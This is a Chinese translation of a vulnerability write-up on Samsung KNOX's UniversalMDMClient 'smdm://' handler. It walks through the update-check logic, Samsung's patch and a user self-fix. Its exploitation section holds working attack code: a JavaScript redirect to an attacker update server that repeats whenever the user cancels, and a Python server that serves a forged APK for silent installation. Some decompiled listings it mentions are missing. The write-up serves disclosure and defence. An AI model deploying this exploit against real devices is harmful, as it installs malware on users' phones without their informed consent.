深度:剖析三星Galaxy KNOX遠(yuǎn)程代碼執(zhí)行漏洞
本文將詳細(xì)介紹三星 Galaxy S5最新發(fā)現(xiàn)的遠(yuǎn)程執(zhí)行漏洞,攻擊者可以藉此漏洞入侵系統(tǒng)。目前三星官方已在Galaxy S5、Note 4和Alpha產(chǎn)品中修復(fù)此漏洞,但在S4,S4 Mini,Note3和Ace 4(可能還有其他設(shè)備)上尚未被修復(fù)。
介紹
KNOX,是三星的一款基于開(kāi)源Android平臺(tái)的安全解決方案,可以通過(guò)物理手段和軟件體系相結(jié)合的方式全面增強(qiáng)了安全性。
我們Quarkslab團(tuán)隊(duì)喜歡搗鼓Android設(shè)備。所以當(dāng)三星Galaxy S5發(fā)布時(shí),我們檢查了一下它的固件。很快我們便發(fā)現(xiàn)了一個(gè)簡(jiǎn)單的漏洞和可用的exp(漏洞利用)。出現(xiàn)漏洞的程序是UniversalMDMApplication。這個(gè)程序默認(rèn)包含在S5的ROM中,也是三星KNOX安全解決方案中的一部分。
利用這個(gè)漏洞我們可以讓有漏洞的程序誤以為有新的更新。結(jié)果就是應(yīng)用程序會(huì)彈出一個(gè)窗口詢問(wèn)用戶是否需要更新。如果用戶選擇“是”,惡意軟件就會(huì)安裝;而如果用戶選擇了“否”,我們可以再次彈出窗口讓用戶誤以為“否”這個(gè)按鈕失效了。我們的漏洞可以通過(guò)email實(shí)現(xiàn)(讓用戶點(diǎn)擊一個(gè)鏈接),或者也可以在用戶用Chrome/自帶瀏覽器瀏覽網(wǎng)頁(yè)時(shí)被觸發(fā)。或者攻擊者也可以在MITM(中間人攻擊)時(shí)在HTML網(wǎng)頁(yè)中注入一段JavaScript來(lái)實(shí)現(xiàn)漏洞。
我們一直沒(méi)有公布這個(gè)漏洞因?yàn)槲覀兇蛩阍趍obile pwn2own大賽公布,但貌似今年的規(guī)則更嚴(yán)了。新的規(guī)則中,受害者只能做一次點(diǎn)擊操作。所以當(dāng)彈窗出現(xiàn)時(shí),盡管大部分用戶會(huì)點(diǎn)擊“是”,但對(duì)Pwn2Own大賽而言,這已經(jīng)犯規(guī)。
即使沒(méi)有“用戶交互”的問(wèn)題,這個(gè)漏洞今年8月也已經(jīng)在三星Note 4和Alpha上修復(fù),只是直到10月還未在Galaxy S5上修復(fù),所以這漏洞也不能用于pwn2own了。
本文將介紹漏洞工作原理,提醒開(kāi)發(fā)者注意此類漏洞,還將附上漏洞的利用方式。
時(shí)間線
2014年4月 - 三星Galaxy S5發(fā)布,我們發(fā)現(xiàn)了漏洞
2014年8月 - 三星Galaxy Note 4和Alpha發(fā)布。在這兩款機(jī)型的ROM中漏洞被修復(fù)
2014年10月 - 三星S5上的漏洞被修復(fù)
2014年11月 - Mobile Pwn2Own大賽
據(jù)我們所知,以下機(jī)型的漏洞尚未被修復(fù):
三星 Galaxy S4 (ROM版本: I9505XXUGNH8)
三星 Galaxy S4 mini (ROM版本: I9190UBUCNG1)
三星 Galaxy Note 3 (ROM版本: N9005XXUGNG1)
三星 Galaxy Ace 4 (ROM版本: G357FZXXU1ANHD)
警告:這份列表中沒(méi)有列出所有設(shè)備,其他的設(shè)備也可能有漏洞。在文章結(jié)尾處有修復(fù)漏洞的方法。#p#
漏洞分析
簡(jiǎn)短writeup
UniversalMDMClient應(yīng)用默認(rèn)是以三星KNOX組件被安裝的,它會(huì)注冊(cè)一個(gè)URI:"smdm://"。當(dāng)用戶點(diǎn)擊一個(gè)指向"smdm://"的鏈接時(shí),UniversalMDMClient中的LaunchActivity組件就會(huì)啟動(dòng)并分析這個(gè)URL。它會(huì)從這個(gè)URL中提取很多信息,包括更新服務(wù)器的URL。
提取到更新服務(wù)器的URL后,應(yīng)用會(huì)對(duì)URL使用HEAD方法,它會(huì)檢查服務(wù)器是否返回一個(gè)非標(biāo)準(zhǔn)的header:"x-amz-meta-apk-version"。如果服務(wù)器返回了這個(gè)header,它會(huì)檢查UniversalMDMClient應(yīng)用的當(dāng)前版本,與"x-amz-meta-apk-version" header中的版本進(jìn)行比對(duì)。如果header的版本號(hào)更新,它就會(huì)向用戶顯示一個(gè)彈窗提醒用戶有可用更新,詢問(wèn)用戶是否需要升級(jí)。
如果用戶選擇了“是”,程序就會(huì)像更新服務(wù)器URL發(fā)送GET請(qǐng)求,而響應(yīng)內(nèi)容就會(huì)以APK文件的形式保存,最后,它會(huì)在不提示用戶這個(gè)應(yīng)用程序需要的權(quán)限也不檢查程序證書(shū)的情況下安裝應(yīng)用。因此,如果攻擊者能夠讓用戶更新,他也就可以在用戶的設(shè)備上安裝惡意軟件了。
2014年10月漏洞被修復(fù),程序會(huì)檢查下載的APK程序的包名是否與UniversalMDMClient應(yīng)用中的相同。由于兩個(gè)程序有兩個(gè)不同證書(shū)而包名相同,所以就不能安裝惡意程序了。
詳細(xì)writeup
在UniversalMDMClient的AndroidManifest.xml文件中,我們可以看到它定義了URI:
- manifest android:versionCode="2" android:versionName="1.1.14" package="com.sec.enterprise.knox.cloudmdm.smdms"
- xmlns:android="http://schemas.android.com/apk/res/android">
- <uses-sdk android:minSdkVersion="17" android:targetSdkVersion="19" />
- [...]
- <uses-permission android:name="android.permission.INSTALL_PACKAGES" />
- [...]
- <application android:allowBackup="true" android:name=".core.Core">
- <activity android:configChanges="keyboard|keyboardHidden|orientation" android:excludeFromRecents="true"
- android:label="@string/titlebar" android:name=".ui.LaunchActivity" android:noHistory="true"
- android:theme="@android:style/Theme.DeviceDefault">
- <intent-filter>
- <data android:scheme="smdm" />
- <action android:name="android.intent.action.VIEW" />
- <category android:name="android.intent.category.DEFAULT" />
- <category android:name="android.intent.category.BROWSABLE" />
- </intent-filter>
- </activity>
- [...]
- </application>
- </manifest>
第11至16行中的intent-filter注冊(cè)了URI "smdm://" 并將它與com.sec.enterprise.knox.cloudmdm.smdms.ui.LaunchActivity組件關(guān)聯(lián)起來(lái)。當(dāng)用戶嘗試打開(kāi)一個(gè)"smdm://" URI時(shí),LaunchActivity中的onCreate()方法就會(huì)處理這個(gè)URL。我們會(huì)從這里深入探究代碼。除了程序代碼通過(guò)proguard被“混淆”過(guò),用JEB反編譯器對(duì)其進(jìn)行分析沒(méi)有任何困難。
以下是反編譯得到onCreate()方法的源代碼:
onCreate()首先做的是(通過(guò)getPreETAG()函數(shù))檢查/data/data/com.sec.enterprise.knox.cloudmdm.smdms/shared_prefs/目錄中是否存在文件PreETag.xml。如果文件存在,應(yīng)用會(huì)調(diào)用finish()方法結(jié)束執(zhí)行。默認(rèn)情況下PreETag.xml文件并不存在。
接著,應(yīng)用程序會(huì)獲取Intent來(lái)啟動(dòng)Activity或者更準(zhǔn)確地說(shuō)是其中的鍵值。鍵值的格式必須是"smdm://hostname?變量1=值1&變量2=值2"。變量名能夠從來(lái)源中輕松獲取:seg_url, update_url, email, mdm_token, program和quickstart_url。最重要的是quickstart_url。在一個(gè)shared_preference文件內(nèi)寫(xiě)入所有這些變量后,調(diào)用Core.startSelfUpdateCheck(),onCreate()結(jié)束。
Core.startSelfUpdateCheck()負(fù)責(zé)檢查當(dāng)前是否正在進(jìn)行更新,如果沒(méi)有,則調(diào)用UMCSelfUpdateManager.startSelfUpdateCheck():
UMCSelfUpdateManager.startSelfUpdateCheck()函數(shù)檢查是否有數(shù)據(jù)連接,如果有正在等待的更新則將其刪除,并根據(jù)umc_cdn字符串的值構(gòu)造一個(gè)URL,umc_cdn字符串是在shared_pref文件"m.xml"中的,構(gòu)造完成后將其賦上字符串常量"/latest"。umc_cdn的值就是Intent中的鍵值udpdate_url。所以這是個(gè)被攻擊者完全控制的值。接下來(lái)它會(huì)調(diào)用UMCSelfUpdateManager.doUpdateCheck(),把之前構(gòu)造的URL當(dāng)作第一個(gè)參數(shù):
這個(gè)函數(shù)中,ContentTransferManager被初始化,并向攻擊者控制的URL發(fā)送HEAD HTTP請(qǐng)求。請(qǐng)求的不同狀態(tài)會(huì)由handleRequestResult類和onFailure()、 onProgress()、onStart()、onSucess()等方法處理。
當(dāng)然,最有趣的方法還是onSucess()了。它會(huì)檢查header中的ETag、Content-Length和x-amz-meta-apk-version。header中的x-amz-meta-apk-version值會(huì)與當(dāng)前UniversalMDMApplication APK包的版本進(jìn)行比較。如果header中的x-amz-meta-apk-version版本號(hào)大于當(dāng)前的APK版本,則判斷為需要更新。
這時(shí)候,用戶屏幕會(huì)彈出一個(gè)窗口,稱應(yīng)用有更新,詢問(wèn)用戶是否要安裝。如果他選擇“是”,我們就能繼續(xù)攻擊了。
如果用戶選擇“是”,UMCSelfUpdateManager.onSuccess()就會(huì)被調(diào)用,它會(huì)調(diào)用onSucess()方法:
而這個(gè)onSuccess()會(huì)最終調(diào)用beginUpdateProcess()開(kāi)始更新線程:
更新線程會(huì)調(diào)用執(zhí)行installApk(),而installApk()又會(huì)調(diào)用_installApplication() _installApplication()的功能就是禁止包驗(yàn)證 (防止Google掃描APK)安裝APK之后再重新開(kāi)啟包驗(yàn)證:
整個(gè)過(guò)程到此結(jié)束。下載的APK既沒(méi)有經(jīng)過(guò)驗(yàn)證,也沒(méi)有向用戶展示請(qǐng)求的權(quán)限。因此這個(gè)漏洞能夠被攻擊者用來(lái)安裝惡意程序。
而當(dāng)更新安裝完成后,漏洞就不能再被利用了。因?yàn)楦鲁晒?,ETag header的值被寫(xiě)入/data/data/com.sec.enterprise.knox.cloudmdm.smdms/shared_prefs/PreETag.xml,而LaunchActivity的onCreate()方法中首先就會(huì)檢查該文在是否存在。#p#
三星的補(bǔ)丁
為了防止漏洞被利用,程序現(xiàn)在會(huì)在安裝前檢查包名,包名必須與UniversalMDMApplication中的包名相同。
以下是進(jìn)行檢查的函數(shù):
打過(guò)補(bǔ)丁的系統(tǒng)中的彈窗:
漏洞利用
EXP相當(dāng)?shù)暮?jiǎn)單,你得讓你的受害者點(diǎn)擊你的URI,可以通過(guò)郵件或者是用網(wǎng)頁(yè)中JavaScript把他們重定向過(guò)去:
- <script>
- function trigger(){
- document.location="smdm://meow?update_url=http://yourserver/";
- }
- setTimeout(trigger, 5000);
- </script>
有趣的是當(dāng)你用JavaScript觸發(fā)exp時(shí),如果用戶選擇“取消”,Android會(huì)返回網(wǎng)頁(yè),繼續(xù)執(zhí)行JavaScript代碼。這意味著我們可以在JavaScript中做循環(huán)。用戶可能會(huì)認(rèn)為彈窗的取消鍵不好使了,他們可能就會(huì)點(diǎn)“是”。
服務(wù)器端,你得返回以下header:
x-amz-meta-apk-version : 編一個(gè)大一點(diǎn)的數(shù)字。比如 1337 ;
ETag : 假APK的md5校驗(yàn)值;
Content-Length : APK的大小
以下是服務(wù)器端的代碼:
- import hashlib
- from BaseHTTPServer import BaseHTTPRequestHandler
- APK_FILE = "meow.apk"
- APK_DATA = open(APK_FILE,"rb").read()
- APK_SIZE = str(len(APK_DATA))
- APK_HASH = hashlib.md5(APK_DATA).hexdigest()
- class MyHandler(BaseHTTPRequestHandler):
- def do_GET(self):
- self.send_response(200)
- self.send_header("Content-Length", APK_SIZE)
- self.send_header("ETag", APK_HASH)
- self.send_header("x-amz-meta-apk-version", "1337")
- self.end_headers()
- self.wfile.write(APK_DATA)
- return
- def do_HEAD(self):
- self.send_response(200)
- self.send_header("Content-Length", APK_SIZE)
- self.send_header("ETag", APK_HASH)
- self.send_header("x-amz-meta-apk-version", "1337")
- self.end_headers()
- return
- if __name__ == "__main__":
- from BaseHTTPServer import HTTPServer
- server = HTTPServer(('0.0.0.0',8080), MyHandler)
- server.serve_forever()
#p#
怎么自己打補(bǔ)丁呢?
如果你的設(shè)備還有漏洞,你可以等三星的補(bǔ)丁,也可以自己修復(fù)。修復(fù)補(bǔ)丁不需要root權(quán)限,只需點(diǎn)擊這個(gè)鏈接:
smdm://patch/
實(shí)際上點(diǎn)擊這個(gè)鏈接時(shí),漏洞程序會(huì)啟動(dòng),但是沒(méi)有指定的更新URL,它會(huì)使用默認(rèn)的三星UMC(Universal MDM Client)服務(wù)器http://umc-cdn.secb2b.com:80,這個(gè)服務(wù)器上有最新版本的UniversalMDMClient.apk。
安裝完成后你可能會(huì)看到這個(gè)界面,按返回或者Home鍵即可。
以下是對(duì)未修復(fù)和已修復(fù)的S5系統(tǒng)的漏洞利用演示視頻:
譯者注:
這個(gè)漏洞已經(jīng)可以在Metasploit上使用:
模塊:exploit/android/browser/samsung_knox_smdm_url
模塊下載:https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/android/browser/samsung_knox_smdm_url.rb